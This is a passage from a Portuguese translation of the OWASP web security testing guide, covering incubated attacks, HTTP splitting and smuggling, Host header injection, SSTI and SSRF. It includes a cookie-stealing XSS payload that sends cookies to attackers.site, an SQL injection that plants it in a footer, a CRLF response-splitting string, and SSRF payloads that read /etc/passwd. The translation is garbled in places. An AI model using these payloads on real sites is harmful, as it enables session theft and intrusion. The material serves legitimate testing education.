será recuperado por um usuário desavisado ou outro componente do sistema, explorando alguma vulnerabilidade ali existente.
Em um teste de penetração, ataques incubados podem ser usados para avaliar a criticidade de certos bugs, usando o problema de segurança específico encontrado para
criar um ataque baseado no cliente que geralmente será usado para atingir um grande número de vítimas ao mesmo tempo (ou seja, todos os usuários que navegam no
site).
Este tipo de ataque assíncrono abrange um grande espectro de vetores de ataque, entre eles os seguintes:
Componentes de upload de arquivo em um aplicativo da web, permitindo que o invasor carregue arquivos de mídia corrompidos (imagens JPEG explorando
, arquivos executáveis CVE-2004-0597 , páginas de site com, componente ativo etc.)

CVE-2004-0200 imagens PNG explorando
Problemas de script entre sites em postagens de fóruns públicos (consulte Testando scripts entre sites armazenados para obter detalhes adicionais).
Um invasor pode potencialmente armazenar scripts ou códigos maliciosos em um repositório no back-end do aplicativo da Web (por exemplo, um banco de dados)
para que esse script/código seja executado por um dos usuários (usuários finais, administradores etc.). O ataque incubado arquetípico é exemplificado pelo uso de
uma vulnerabilidade de script entre sites em um fórum de usuário, quadro de avisos ou blog para injetar algum código JavaScript na página vulnerável e,
eventualmente, será renderizado e executado no navegador do usuário do site -usando o nível de confiança do site original (vulnerável) no navegador do usuário.
SQL/XPATH Injection permitindo que o invasor carregue conteúdo em um banco de dados, que será posteriormente recuperado como parte
do conteúdo ativo em uma página da web. Por exemplo, se o invasor puder postar JavaScript arbitrário em um quadro de avisos para que
seja executado pelos usuários, ele poderá assumir o controle de seus navegadores (por exemplo, proxy XSS).
Servidores mal configurados que permitem a instalação de pacotes Java ou componentes de sites semelhantes (ou seja, Tomcat ou consoles de hospedagem na
web, como Plesk, CPanel, Helm, etc.)
Objetivos do teste
Identifique as injeções que estão armazenadas e requerem uma etapa de recuperação para a injeção armazenada.
Entenda como uma etapa de rechamada pode ocorrer.
Defina ouvintes ou ative a etapa de rechamada, se possível.

317
Como testar
Exemplo de upload de arquivo
Verifique o tipo de conteúdo permitido para upload no aplicativo da web e a URL resultante para o arquivo carregado. Carregue um arquivo que
explorará um componente na estação de trabalho do usuário local quando visualizado ou baixado pelo usuário. Envie à sua vítima um e-mail ou outro
tipo de alerta para induzi-la a navegar na página. O resultado esperado é que a exploração será acionada quando o usuário navegar na página
resultante ou baixar e executar o arquivo do site confiável.
Exemplo de XSS em um quadro de avisos
1. Apresente código JavaScript como o valor para o vulnerável campo, para instância
<script>document.write('<img src="http://attackers.site/cv.jpg?'+document.cookie+'">')</script>
2. Direcione os usuários para navegar na página vulnerável ou espere que os usuários naveguem. Tenha um “ouvinte” em attackers.site
host ouvindo todas as conexões de entrada.
3. Quando os usuários navegam na página vulnerável, uma solicitação contendo seu cookie ( document.cookie está incluído como parte da URL
solicitada) será enviada ao host do attackers.site , como: GET /cv.jpg?
SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE; HTTP/1.1
4. Use os cookies obtidos para representar os usuários no site vulnerável.
Exemplo de Injeção de SQL
Normalmente, esse conjunto de exemplos aproveita ataques XSS explorando uma vulnerabilidade de injeção de SQL. A primeira coisa a testar é se
o site de destino tem uma vulnerabilidade de injeção de SQL. Isso é descrito em Teste para SQL Injection. Para cada vulnerabilidade de injeção de
SQL, há um conjunto subjacente de restrições que descrevem o tipo de consultas que o invasor/pen-tester pode fazer.
O testador então tem que combinar os ataques XSS que ele planejou com as entradas que ele pode inserir.
De maneira semelhante ao exemplo anterior de XSS, use um campo de página da web vulnerável a problemas de injeção de SQL para alterar um
valor no banco de dados que seria usado pelo aplicativo como entrada para ser mostrado no site sem a devida filtragem (isso seria uma combinação
de uma injeção de SQL e um problema de XSS). Por exemplo, vamos supor que haja uma tabela de rodapé no banco de dados com todos os rodapés
das páginas do site, incluindo um campo de aviso com o aviso legal que aparece na parte inferior de cada página. Você pode usar a consulta a seguir
para injetar código JavaScript no campo de aviso na tabela de rodapé do banco de dados.
SELECT campo1, campo2, campo3

FROM table_x WHERE campo2 = 'x';
UPDATE rodapé SET aviso = 'Copyright
1999-2030%20
<script>document.write(\'<img src="http://
attackers.site/cv.jpg?\'+document.cookie+\'">\' ) </script>'
WHERE aviso = 'Direitos autorais 1999-2030';
Agora, cada usuário que navegar no site enviará silenciosamente seus cookies para attackers.site .
Servidor mal configurado
Alguns servidores da Web apresentam uma interface de administração que pode permitir que um invasor carregue componentes ativos de sua
escolha no site. Esse pode ser o caso de um servidor Apache Tomcat que não impõe credenciais fortes para acessar seu Web Application Manager
(ou se os testadores de caneta conseguiram obter credenciais válidas para o módulo de administração por outros meios).
Nesse caso, um arquivo WAR pode ser carregado e um novo aplicativo da Web implantado no site, o que permitirá não apenas que o testador de
caneta execute o código de sua escolha localmente no servidor, mas também plante um aplicativo no site confiável, que os usuários regulares do site
podem acessar (provavelmente com um grau de confiança mais alto do que ao acessar um site diferente).
318
Como também deve ser óbvio, a capacidade de alterar o conteúdo da página da web no servidor, por meio de quaisquer vulnerabilidades que possam ser
exploradas no host, o que dará ao invasor permissões de gravação do webroot, também será útil para plantar um ataque incubado no servidor da web
páginas (na verdade, este é um método conhecido de disseminação de infecção para alguns worms de servidor da web).
Teste de caixa cinza As
técnicas de teste de caixa cinza ou caixa branca serão as mesmas discutidas anteriormente.
Examinar a validação de entrada é fundamental para mitigar essa vulnerabilidade. Se outros sistemas na empresa usarem a mesma camada de
persistência, eles podem ter uma validação de entrada fraca e os dados podem ser persistidos por meio de uma porta dos fundos .
Para combater o problema de backdoor para ataques do lado do cliente, a validação de saída também deve ser empregada para que os dados
corrompidos sejam codificados antes de serem exibidos ao cliente e, portanto, não sejam executados.
Ferramentas
XSS-proxy
Suíte Burp
Metasploit
Referências
A maioria das referências da seção Cross-site scripting são válidas. Conforme explicado acima, os ataques incubados são executados ao combinar
explorações como XSS ou ataques de injeção de SQL.
Avisos
CERT Advisory CA-2000-02 Marcas HTML maliciosas incorporadas em solicitações da Web do cliente Blackboard
Academic Suite 6.2.23 +/-: vulnerabilidade persistente de script entre sites
Artigos técnicos
Web Application Security Consortium “Classificação de ameaças, script entre sites”
319
Teste para contrabando de divisão de HTTP
EU IRIA
WSTG-INPV-15
Resumo
Esta seção ilustra exemplos de ataques que aproveitam recursos específicos do protocolo HTTP, seja explorando pontos fracos
do aplicativo da Web ou peculiaridades na maneira como diferentes agentes interpretam mensagens HTTP. Esta seção analisará
dois ataques diferentes direcionados a cabeçalhos HTTP específicos:
divisão HTTP
contrabando de HTTP
O primeiro ataque explora a falta de sanitização de entrada que permite a um intruso inserir caracteres CR e LF nos cabeçalhos
da resposta do aplicativo e 'dividir' essa resposta em duas mensagens HTTP diferentes. O objetivo do ataque pode variar de
envenenamento de cache a scripts entre sites.
No segundo ataque, o invasor explora o fato de que algumas mensagens HTTP especialmente criadas podem ser analisadas e
interpretadas de maneiras diferentes, dependendo do agente que as recebe. O contrabando de HTTP requer algum nível de
conhecimento sobre os diferentes agentes que estão lidando com as mensagens HTTP (servidor web, proxy, firewall) e, portanto,
será incluído apenas na seção de teste da caixa cinza.
Objetivos do teste
Avalie se o aplicativo é vulnerável à divisão, identificando quais possíveis ataques são alcançáveis.
Avalie se a cadeia de comunicação é vulnerável ao contrabando, identificando quais possíveis ataques são viáveis.
Como testar
Divisão HTTP
Alguns aplicativos da web usam parte da entrada do usuário para gerar os valores de alguns cabeçalhos de suas respostas. O
exemplo mais direto é fornecido por redirecionamentos nos quais a URL de destino depende de algum valor enviado pelo usuário.
Digamos, por exemplo, que o usuário seja solicitado a escolher se prefere uma interface da Web padrão ou avançada. A escolha
será passada como um parâmetro que será utilizado no cabeçalho da resposta para acionar o redirecionamento para a página
correspondente.
Mais especificamente, se o parâmetro 'interface' tiver o valor 'advanced', a aplicação responderá com o seguinte:
HTTP/1.1 302 Movido Temporariamente

Data: Sun, 03 Dec 2005 16:22:19 GMT
Localização: http://victim.com/main.jsp?interface=advanced <snip>
Ao receber esta mensagem, o navegador levará o usuário à página indicada no cabeçalho Localização. No entanto, se o
aplicativo não filtrar a entrada do usuário, será possível inserir no parâmetro 'interface' a sequência %0d%0a, que representa a
sequência CRLF que é usada para separar linhas diferentes. Nesse ponto, os testadores poderão acionar uma resposta que
será interpretada como duas respostas diferentes por qualquer pessoa que a analise, por exemplo, um cache da web entre nós
e o aplicativo. Isso pode ser aproveitado por um invasor para envenenar esse cache da Web para que ele forneça conteúdo
falso em todas as solicitações subsequentes.
320
Digamos que no exemplo anterior o testador passe os seguintes dados como parâmetro de interface:
avançado%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent
Digite:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a<html>Desculpe,%20System%20Down</html>
A resposta resultante do aplicativo vulnerável será, portanto, a seguinte:
HTTP/1.1 302 Movido temporariamente Data:

Dom, 03 de dezembro de 2005 16:22:19 GMT Local: http://
victim.com/main.jsp?interface=advanced Content-Length: 0
HTTP/1.1 200 OK
Tipo de conteúdo: texto/html
<html>Desculpe,%20System%20Down</html> <outros
dados>
O cache da web receberá duas respostas diferentes, portanto, se o invasor enviar, imediatamente após a primeira solicitação, uma segunda solicitando /
, o cachedirecionadas
index.html , todas as solicitações subsequentes da web corresponderá a essa solicitação
a vitima.com/index.html com a segunda
que passarem resposta
por esse cacheeda
armazenará em cache
web receberão seu conteúdo,
a mensagem então
“sistema
inoperante”. Dessa forma, um invasor poderia efetivamente desfigurar o site para todos os usuários que usam esse cache da web (toda a Internet, se o cache
da web for um proxy reverso para o aplicativo da web).
Como alternativa, o invasor pode passar para esses usuários um fragmento de JavaScript que monta um ataque de script entre sites, por exemplo, para roubar
os cookies. Observe que, embora a vulnerabilidade esteja no aplicativo, o alvo aqui são seus usuários. Portanto, para procurar essa vulnerabilidade, o testador
precisa identificar todas as entradas controladas pelo usuário que influenciam um ou mais cabeçalhos na resposta e verificar se eles podem injetar com sucesso
uma sequência CR+LF nela.
Os cabeçalhos que são os candidatos mais prováveis para este ataque são:
Localização
Set-Cookie
Deve-se notar que uma exploração bem-sucedida dessa vulnerabilidade em um cenário do mundo real pode ser bastante complexa, pois vários fatores devem
ser levados em consideração:
1. O pen-tester deve definir corretamente os cabeçalhos na resposta falsa para que ela seja armazenada em cache com sucesso (por exemplo, um cabeçalho
Last Modified com uma data definida no futuro). Eles também podem ter que destruir versões previamente armazenadas em cache dos pagers de destino,
emitindo uma solicitação preliminar com Pragma: no-cache nos cabeçalhos da solicitação
2. O aplicativo, embora não filtre a sequência CR+LF, pode filtrar outros caracteres necessários para um
ataque bem-sucedido (por exemplo, < e > ). Nesse caso, o testador pode tentar usar outras codificações (por exemplo, UTF-7)
3. Alguns alvos (por exemplo, ASP) irão codificar em URL a parte do caminho do cabeçalho Location (por exemplo, www.victim.com/redirect.asp ), tornando
uma sequência CRLF inútil. No entanto, eles não conseguem codificar a seção de consulta (por exemplo, ?interface=advanced), o que significa que um
ponto de interrogação inicial é suficiente para ignorar essa filtragem
Para uma discussão mais detalhada sobre este ataque e outras informações sobre possíveis cenários e aplicações, verifique os documentos referenciados na
parte inferior desta seção.
Teste de caixa cinza Divisão
de HTTP Uma exploração
bem-sucedida da Divisão de HTTP é muito ajudada pelo conhecimento de alguns detalhes do aplicativo da Web e do alvo do ataque. Por exemplo, destinos
diferentes podem usar métodos diferentes para decidir quando a primeira mensagem HTTP termina e quando a segunda começa. Alguns usarão os limites da
mensagem, como no exemplo anterior. Outros destinos assumirão que mensagens diferentes serão transportadas por pacotes diferentes. Outros alocarão para
cada mensagem um número de blocos

321
de comprimento pré-determinado: neste caso, a segunda mensagem terá que começar exatamente no início de um pedaço e isso exigirá que o
testador use preenchimento entre as duas mensagens. Isso pode causar alguns problemas quando o parâmetro vulnerável deve ser enviado
na URL, pois uma URL muito longa provavelmente será truncada ou filtrada. Um cenário de caixa cinza pode ajudar o invasor a encontrar uma
solução alternativa: vários servidores de aplicativos, por exemplo, permitirão que a solicitação seja enviada usando POST em vez de GET.
Contrabando de
HTTP Conforme mencionado na introdução, o contrabando de HTTP aproveita as diferentes maneiras pelas quais uma mensagem HTTP
especialmente criada pode ser analisada e interpretada por diferentes agentes (navegadores, caches da Web, firewalls de aplicativos). Esse
tipo relativamente novo de ataque foi descoberto por Chaim Linhart, Amit Klein, Ronen Heled e Steve Orrin em 2005.
Existem várias aplicações possíveis e vamos analisar uma das mais espetaculares: o bypass de um firewall de aplicativo. Consulte o white
paper original (link na parte inferior desta página) para obter informações mais detalhadas e outros cenários.
Ignorar o firewall do aplicativo
Existem vários produtos que permitem que a administração do sistema detecte e bloqueie uma solicitação da Web hostil, dependendo de algum
padrão malicioso conhecido incorporado à solicitação. Por exemplo, considere o infame e antigo ataque de travessia de diretório Unicode contra
o servidor IIS, no qual um invasor pode quebrar a raiz www emitindo uma solicitação como:
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+<command_to_execute>
Obviamente, é muito fácil identificar e filtrar esse ataque pela presença de strings como “..” e “cmd.exe” na URL.
No entanto, o IIS 5.0 é bastante exigente quanto a solicitações POST cujo corpo é de até 48K bytes e trunca todo o conteúdo que está além
desse limite quando o cabeçalho Content-Type é diferente de application/x-www-form-urlencoded. O pen-tester pode aproveitar isso criando
uma solicitação muito grande, estruturada da seguinte forma:
POST /target.asp HTTP/1.1 Host: <-- Solicitação nº 1

destino Conexão: Keep-Alive Content-
Length: 49225 <CRLF>
<49152 bytes de lixo>
POST /target.asp HTTP/1.0 <-- Solicitação nº 2

Conexão: Keep-Alive Content-
Length: 33 <CRLF>
POST /target.asp HTTP/1.0 <-- Solicitação nº 3 xxxx: POST /scripts/..

%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 <-- Solicitação nº 4 Conexão: Keep-Alive <CRLF>
O que acontece aqui é que o Request #1 é feito de 49223 bytes, o que inclui também as linhas do Request #2 .
Portanto, um firewall (ou qualquer outro agente além do IIS 5.0) verá a solicitação nº 1, falhará em ver a solicitação nº 2 (seus dados serão
apenas parte da nº 1), verá a solicitação nº 3 e perderá a solicitação nº 4 (porque o POST será apenas parte do cabeçalho falso xxxx).
Agora, o que acontece com o IIS 5.0? Ele parará de analisar a Solicitação nº 1 logo após os 49152 bytes de lixo (pois terá atingido o limite de
48K = 49152 bytes) e, portanto, analisará a Solicitação nº 2 como uma solicitação nova e separada. A solicitação nº 2 afirma que seu conteúdo
é de 33 bytes, o que inclui tudo até “xxxx: “, fazendo com que o IIS perca a solicitação nº 3 (interpretada como parte da solicitação nº 2 ), mas
, após o 33º byte ou Pedido nº 2 . É um pouco
identifique a solicitação nº 4 , pois seu POST começa logo
322
complicado, mas o ponto é que a URL de ataque não será detectada pelo firewall (será interpretada como o corpo de uma solicitação
anterior), mas será analisada (e executada) corretamente pelo IIS.
Embora no caso mencionado acima a técnica explore um bug de um servidor da Web, há outros cenários nos quais podemos aproveitar as
diferentes maneiras pelas quais diferentes dispositivos habilitados para HTTP analisam mensagens que não são compatíveis com 1005 RFC.
Por exemplo, o protocolo HTTP permite apenas um cabeçalho Content-Length, mas não especifica como lidar com uma mensagem que
possui duas instâncias desse cabeçalho. Algumas implementações usarão a primeira, enquanto outras preferirão a segunda, limpando o
caminho para ataques de contrabando de HTTP. Outro exemplo é o uso do cabeçalho Content-Length em uma mensagem GET.
Observe que o HTTP Smuggling *não* explora nenhuma vulnerabilidade no aplicativo da Web de destino. Portanto, pode ser um tanto
complicado, em um engajamento de pen-test, convencer o cliente de que uma contramedida deve ser procurada de qualquer maneira.
Referências
Artigos técnicos
Amit Klein, “Dividir e conquistar: divisão de resposta HTTP, ataques de envenenamento de cache da Web e tópicos relacionados”
Amit Klein: “Divisão de mensagens HTTP, contrabando e outros animais”
Amit Klein: “Contrabando de solicitação HTTP - ERRATA (o fenômeno do buffer IIS 48K)”
Amit Klein: “Contrabando de Resposta HTTP”

Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “Contrabando de Solicitações HTTP”
Machine
323
Testando solicitações de entrada HTTP
EU IRIA
WSTG-INPV-16
Resumo
Esta seção descreve como monitorar todas as solicitações HTTP de entrada/saída no lado do cliente ou no lado do servidor. O objetivo deste teste é verificar
se há envio de solicitação HTTP desnecessária ou suspeita em segundo plano.
A maioria das ferramentas de teste de segurança da Web (ou seja, AppScan, BurpSuite, ZAP) atua como Proxy HTTP. Isso exigirá alterações de proxy no
aplicativo ou navegador do lado do cliente. As técnicas de teste listadas abaixo são focadas principalmente em como podemos monitorar solicitações HTTP sem
alterações do lado do cliente, que estarão mais próximas do cenário de uso de produção.
Objetivos do teste
Monitore todas as solicitações HTTP de entrada e saída para o servidor da Web para inspecionar quaisquer solicitações suspeitas.
Monitore o tráfego HTTP sem alterar o proxy do navegador do usuário final ou o aplicativo do lado do cliente.
Como testar
Proxy reverso Existe
uma situação em que gostaríamos de monitorar todas as solicitações de entrada HTTP no servidor da Web, mas não podemos alterar a configuração no
navegador ou no lado do cliente do aplicativo. Neste cenário, podemos configurar um proxy reverso no servidor web para monitorar todas as solicitações de
entrada/saída no servidor web.
Para a plataforma Windows, o Fiddler é recomendado. Ele fornece não apenas monitor, mas também pode editar/responder às solicitações HTTP.
Consulte esta referência para saber como configurar o Fiddler como proxy reverso
Para a plataforma Linux, o Charles Web Debugging Proxy pode ser usado.
As etapas de teste:
1. Instale o Fiddler ou o Charles no servidor da Web
2. Configure o Fiddler ou Charles como proxy reverso 3. Capture o
tráfego HTTP
4. Inspecione o tráfego HTTP
5. Modifique as solicitações HTTP e reproduza as solicitações modificadas para teste
Encaminhamento de
porta O encaminhamento de porta é outra forma de nos permitir interceptar requisições HTTP sem alterações do lado do cliente. Você também pode usar
Charles como um proxy SOCKS para atuar como encaminhamento de porta ou uso de ferramentas de encaminhamento de porta. Isso nos permitirá encaminhar
todo o tráfego capturado do lado do cliente para a porta do servidor da web.
O fluxo de teste será:
1. Instale o encaminhamento de porta ou Charles em outra máquina ou servidor web 2. Configure o
proxy Charles como Socks como encaminhamento de porta.
Captura de tráfego de rede em nível TCP

324
Essa técnica monitora todo o tráfego de rede no nível do TCP. As ferramentas TCPDump ou WireShark podem ser usadas. No entanto, essas
ferramentas não nos permitem editar o tráfego capturado e enviar solicitações HTTP modificadas para teste. Para reproduzir os pacotes de
tráfego capturado (PCAP), o Ostinato pode ser usado.
As etapas do teste serão:
1. Ative TCPDump ou WireShark no servidor Web para capturar o tráfego de rede
2. Monitore os arquivos capturados (PCAP)
3. Edite arquivos PCAP pela ferramenta Ostinato com base na
necessidade 4. Responda às solicitações HTTP
Fiddler ou Charles são recomendados, pois essas ferramentas podem capturar o tráfego HTTP e também editar/responder facilmente às
solicitações HTTP modificadas. Além disso, se o tráfego da web for HTTPS, o wireshark precisará importar a chave privada do servidor da web
para inspecionar o corpo da mensagem HTTPS. Caso contrário, o corpo da mensagem HTTPS do tráfego capturado será criptografado.
Ferramentas
Violinista
TCPProxy
Proxy de Depuração da Web Charles

WireShark
PowerEdit-Pcap
pcapteller
replayproxy
Ostinato
Referências
Proxy de Depuração da Web Charles
Violinista
TCPDUMP
Ostinato
325
Teste para injeção de cabeçalho de host
EU IRIA
WSTG-INPV-17
Resumo
Um servidor da web geralmente hospeda vários aplicativos da web no mesmo endereço IP, referindo-se a cada aplicativo por meio do host virtual. Em uma solicitação
HTTP recebida, os servidores da Web geralmente despacham a solicitação para o host virtual de destino com base no valor fornecido no cabeçalho Host. Sem a validação
adequada do valor do cabeçalho, o invasor pode fornecer uma entrada inválida para fazer com que o servidor da Web:
despachar solicitações para o primeiro host virtual da lista
causar um redirecionamento para um domínio controlado pelo invasor
realizar envenenamento de cache da web
manipular a funcionalidade de redefinição de senha
Objetivos do teste
Avalie se o cabeçalho Host está sendo analisado dinamicamente no aplicativo.
Ignore os controles de segurança que dependem do cabeçalho.
Como testar
O teste inicial é tão simples quanto fornecer outro domínio (ou seja, attacker.com ) no campo de cabeçalho Host. É como o servidor web processa o valor do cabeçalho
que determina o impacto. O ataque é válido quando o servidor da Web processa a entrada para enviar a solicitação a um host controlado pelo invasor que reside no
domínio fornecido e não a um host virtual interno que reside no servidor da Web.
GET / HTTP/1.1
Host: www.attacker.com
[...]
No caso mais simples, isso pode causar um redirecionamento 302 para o domínio fornecido.
HTTP/1.1 302
Encontrado [...]
Localização: http://www.attacker.com/login.php
Como alternativa, o servidor da Web pode enviar a solicitação ao primeiro host virtual da lista.
X-Forwarded Host Header Bypass No caso de a injeção de
cabeçalho do Host ser mitigada pela verificação de entradas inválidas injetadas por meio do cabeçalho do Host, você pode fornecer o valor para o cabeçalho X-Forwarded-
Host .
GET / HTTP/1.1
Host: www.example.com X-
Forwarded-Host: www.attacker.com
...
326
Potencialmente produzindo saída do lado do cliente, como:
...
<link src="http://www.attacker.com/link" />
...
Mais uma vez, isso depende de como o servidor web processa o valor do cabeçalho.
Envenenamento de Cache Web
Usando essa técnica, um invasor pode manipular um cache da Web para fornecer conteúdo envenenado a qualquer pessoa que o solicitar.
Isso depende da capacidade de envenenar o proxy de cache executado pelo próprio aplicativo, CDNs ou outros provedores downstream.
Como resultado, a vítima não terá controle sobre o recebimento do conteúdo malicioso ao solicitar o aplicativo vulnerável.
GET / HTTP/1.1
Host: www.attacker.com
...
O seguinte será servido a partir do cache da web, quando uma vítima visitar o aplicativo vulnerável.
...
<link src="http://www.attacker.com/link" />
...
Envenenamento de redefinição de
senha É comum que a funcionalidade de redefinição de senha inclua o valor do cabeçalho Host ao criar links de redefinição de senha que usam
um token secreto gerado. Se o aplicativo processar um domínio controlado pelo invasor para criar um link de redefinição de senha, a vítima poderá
clicar no link do e-mail e permitir que o invasor obtenha o token de redefinição, redefinindo a senha da vítima.
... Trecho de e-mail ...
Clique no link a seguir para redefinir sua senha:
http://www.attacker.com/index.php?module=Login&action=resetPassword&token=<SECRET_TOKEN>
... Trecho de e-mail ...
Referências
O que é um ataque de cabeçalho de host?
Ataque de Cabeçalho do Host
Ataques práticos de cabeçalho de host HTTP

327
Teste para injeção de modelo do lado do servidor
EU IRIA
WSTG-INPV-18
Resumo
Os aplicativos da Web geralmente usam tecnologias de modelagem do lado do servidor (Jinja2, Twig, FreeMaker, etc.) para gerar
respostas HTML dinâmicas. As vulnerabilidades de injeção de modelo do lado do servidor (SSTI) ocorrem quando a entrada do
usuário é incorporada em um modelo de maneira insegura e resulta na execução remota de código no servidor. Quaisquer recursos
que suportem marcação avançada fornecida pelo usuário podem ser vulneráveis a SSTI, incluindo páginas wiki, revisões, aplicativos
de marketing, sistemas CMS, etc. Alguns mecanismos de modelo empregam vários mecanismos (por exemplo, sandbox, listagem
de permissões etc.)
Exemplo - Twig O
exemplo a seguir é um trecho do Extreme Vulnerable Web Application projeto.
public function getFilter($nome) {
[snip]
foreach ($this->filterCallbacks as $callback) { if (false !== $filter
= call_user_func($callback, $name)) { return $filter;
} retorna falso;
}
Na função getFilter, call_user_func($callback, $name) é vulnerável a SSTI: o parâmetro name é obtido da solicitação HTTP GET e
executado pelo servidor:
328
Figura 4.7.18-1: Exemplo SSTI XVWA
Exemplo - Frasco/Jinja2
O exemplo a seguir usa o mecanismo de modelagem Flask e Jinja2. A função page aceita um parâmetro 'name' de uma solicitação HTTP GET e renderiza uma
resposta HTML com o conteúdo da variável name :
@app.route("/page") def
page():
name = request.values.get('name') output =
Jinja2.from_string('Hello ' return output + nome + '!').render()
Este trecho de código é vulnerável a XSS, mas também é vulnerável a SSTI. Usando o seguinte como uma carga útil no parâmetro name :
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Olá 49!
Objetivos do teste
Detecte pontos de vulnerabilidade de injeção de modelo.
Identifique o mecanismo de modelagem.
Construa a exploração.
Como testar
As vulnerabilidades SSTI existem no contexto de texto ou código. No contexto de texto simples, os usuários podem usar 'texto' de forma livre com código HTML direto.
No contexto do código, a entrada do usuário também pode ser colocada em uma declaração de modelo (por exemplo, em um nome de variável)
Identificar vulnerabilidade de injeção de modelo A
primeira etapa no teste de SSTI em contexto de texto simples é construir expressões de modelo comuns usadas por vários mecanismos
de modelo como cargas úteis e monitorar respostas do servidor para identificar qual expressão de modelo foi executada pelo servidor.
329
Exemplos comuns de expressão de modelo:
a{{bar}}
ba{{7*7}}
{var} ${var} {{var}} <%var%> [% var %]
Nesta etapa, uma extensa lista de strings/cargas de teste de expressão de modelo é recomendado.
O teste de SSTI no contexto do código é um pouco diferente. Primeiro, o testador constrói a solicitação que resulta em respostas de servidor
em branco ou com erro. No exemplo abaixo, o parâmetro HTTP GET é inserido na variável personal_greeting em uma declaração de modelo:
personal_greeting=nome de usuário
Olá usuário01
Usando o seguinte payload - a resposta do servidor é “Olá” em branco:
personal_greeting=nome de usuário<tag>
Olá
A próxima etapa é interromper a instrução do modelo e injetar a tag HTML depois dela usando a seguinte carga útil
personal_greeting=username}}<tag>
Olá usuário01 <tag>
Identifique o mecanismo de modelo Com
base nas informações da etapa anterior, agora o testador precisa identificar qual mecanismo de modelo é usado, fornecendo várias expressões
de modelo. Com base nas respostas do servidor, o testador deduz o mecanismo de modelo usado.
Essa abordagem manual é discutida com mais detalhes neste artigo PortSwigger. Para automatizar a identificação da vulnerabilidade SSTI e
do mecanismo de modelagem, várias ferramentas estão disponíveis, incluindo Tplmap ou a extensão Backslash Powered Scanner Burp Suite.
Crie o exploit RCE

O principal objetivo nesta etapa é identificar para obter mais controle no servidor com uma exploração de RCE, estudando a documentação e a
pesquisa do modelo. As principais áreas de interesse são:
Para seções de autores de modelo que cobrem a sintaxe básica.
Seções de considerações de segurança .
Listas de métodos, funções, filtros e variáveis integrados.
Listas de extensões/plugins.
O testador também pode identificar quais outros objetos, métodos e propriedades podem ser expostos, concentrando-se no objeto self . Se o
objeto self não estiver disponível e a documentação não revelar os detalhes técnicos, uma força bruta do nome da variável é recomendada.
Depois que o objeto é identificado, a próxima etapa é percorrer o objeto para identificar todos os métodos, propriedades e atributos acessíveis
por meio do mecanismo de modelo. Isso pode levar a outros tipos de descobertas de segurança, incluindo escalonamento de privilégios,
divulgação de informações sobre senhas de aplicativos, chaves de API, configurações e variáveis de ambiente, etc.
Ferramentas
330
Tplmap
Barra invertida Powered Scanner Burp Suite extension
Lista de strings/cargas úteis de teste de expressão de modelo
Referências
James Kettle: Injeção de modelo no lado do servidor: RCE para o aplicativo da web moderno (white paper)
Injeção de modelo do lado do servidor
Explorando SSTI em Flask/Jinja2

Server Side Template Injection: da detecção ao shell remoto
Aplicativo da Web extremamente vulnerável
Divine Selorm Tsa: Explorando a injeção de modelo do lado do servidor com tplmap
Explorando SSTI em Thymeleaf

331
Teste para falsificação de solicitação do lado do servidor
EU IRIA
WSTG-INPV-19
Resumo
Os aplicativos da Web geralmente interagem com recursos internos ou externos. Embora você possa esperar que apenas o recurso pretendido
esteja lidando com os dados enviados, os dados manipulados incorretamente podem criar uma situação em que ataques de injeção são
possíveis. Um tipo de ataque de injeção é chamado de falsificação de solicitação do lado do servidor (SSRF). Um ataque SSRF bem-sucedido
pode conceder ao invasor acesso a ações restritas, serviços internos ou arquivos internos no aplicativo ou na organização. Em alguns casos,
pode até levar à Execução Remota de Código (RCE).
Objetivos do teste
Identifique os pontos de injeção do SSRF.
Teste se os pontos de injeção são exploráveis.
Avalie a gravidade da vulnerabilidade.
Como testar
Ao testar o SSRF, você tenta fazer com que o servidor de destino carregue ou salve inadvertidamente o conteúdo que pode ser malicioso. O
teste mais comum é para inclusão de arquivo local e remoto. Há também outra faceta do SSRF: uma confiança
relacionamento que geralmente surge quando o servidor de aplicativos é capaz de interagir com outros sistemas de back-end que não podem
ser acessados diretamente pelos usuários. Esses sistemas de back-end geralmente têm endereços IP privados não roteáveis ou são restritos
a determinados hosts. Como são protegidos pela topologia de rede, muitas vezes carecem de controles mais sofisticados. Esses sistemas
internos geralmente contêm dados ou funcionalidades confidenciais.
Considere o seguinte pedido:
OBTENHA https://example.com/page?page=about.php
Você pode testar essa solicitação com os seguintes payloads.
Carregar o conteúdo de um arquivo
OBTER https://example.com/page?page=https://malicioussite.com/shell.php
Acessar uma página restrita
GET https://example.com/page?page=http://localhost/admin
Ou:
OBTER https://example.com/page?page=http://127.0.0.1/admin
Use a interface de loopback para acessar o conteúdo restrito apenas ao host. Esse mecanismo implica que, se você tiver acesso ao host,
também terá privilégios para acessar diretamente a página de administração .
332
Esse tipo de relação de confiança, em que as solicitações originadas da máquina local são tratadas de maneira diferente das solicitações comuns,
geralmente é o que permite que o SSRF seja uma vulnerabilidade crítica.
Buscar um arquivo local
GET https://example.com/page?page=file:///etc/passwd
Métodos HTTP usados
Todas as cargas acima podem ser aplicadas a qualquer tipo de solicitação HTTP e também podem ser injetadas no cabeçalho e no cookie
valores também.
Uma observação importante sobre SSRF com solicitações POST é que o SSRF também pode se manifestar de maneira cega, porque o aplicativo pode
não retornar nada imediatamente. Em vez disso, os dados injetados podem ser usados em outras funcionalidades, como relatórios em PDF, fatura ou
processamento de pedidos, etc., que podem ser visíveis para funcionários ou funcionários, mas não necessariamente para o final.
usuário ou testador.
Você pode encontrar mais informações sobre Blind SSRF aqui](https://portswigger.net/web-security/ssrf/blind), ou na [seção de referências.
Geradores de PDF
Em alguns casos, um servidor pode converter arquivos carregados em formato PDF. Tente injetar elementos <iframe> , <img> , <base> , ou
<script> ou funções CSS url() apontando para serviços internos.
<iframe src="file:///etc/passwd" width="400" height="400"> <iframe src="file:///

c:/windows/win.ini" width="400" height ="400">
Desvio de filtro comum Alguns
aplicativos bloqueiam referências a localhost e 127.0.0.1 . Isso pode ser contornado por:
Usando representação de IP alternativa que avalia para 127.0.0.1 :

Notação decimal: 2130706433
Notação octal: 017700000001
Encurtamento IP: 127.1
Ofuscação de string
Registrando seu próprio domínio que resolve para 127.0.0.1
